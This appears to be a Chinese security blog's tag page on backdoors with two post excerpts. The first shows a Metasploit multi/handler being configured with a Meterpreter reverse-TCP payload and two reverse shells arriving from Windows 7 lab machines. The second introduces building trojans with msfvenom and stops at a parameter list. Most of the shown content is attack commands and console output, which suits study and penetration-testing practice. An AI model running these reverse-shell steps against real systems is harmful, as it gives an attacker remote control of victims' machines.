跳过正文

后门

MSF提权操作

·650 字·4 分钟
最近有个问题苦恼了我很久,“msf”是否可以控制多台服务器,怎么通过“msf”进行提权操作? 这里我直接开启了两台win7SP1X64的主机,通过运行后门的方式获得shell,这里生成shell的步骤略过。 获得服务器shell # 首先我们在kali里面开启msf并调用exploit/multi/handler msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.142.19 lhost => 192.168.142.19 msf5 exploit(multi/handler) > set exitonsession false exitonsession => false msf5 exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.142.19:4444 msf5 exploit(multi/handler) > [*] Sending stage (176195 bytes) to 192.168.142.24 [*] Meterpreter session 1 opened (192.168.142.19:4444 -> 192.168.142.24:52612) at 2020-10-30 10:15:32 +0800 msf5 exploit(multi/handler) > [*] Sending stage (176195 bytes) to 192.168.142.101 [*] Meterpreter session 2 opened (192.168.142.19:4444 -> 192.168.142.101:49230) at 2020-10-30 10:15:50 +0800 msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WY-PC\WY @ WY-PC 192.168.142.19:4444 -> 192.168.142.24:52612 (192.168.200.128) 2 meterpreter x86/windows W-Y-PC\W-Y @ W-Y-PC 192.168.142.19:4444 -> 192.168.142.101:49230 (192.168.142.101) msf5 exploit(multi/handler) > 这里要特别注意两个位置:

Msfvenom生成后门及运用

·1368 字·7 分钟
Msfvenom生成后门及运用 # 本篇文章将会使用msfvenom来创建木马,然后通过msfconsole中的expoit/multi/handler来反弹靶机shell。 后门的生成: # 首先通过各种操作系统,脚本语言来生成后门: 常用参数说明: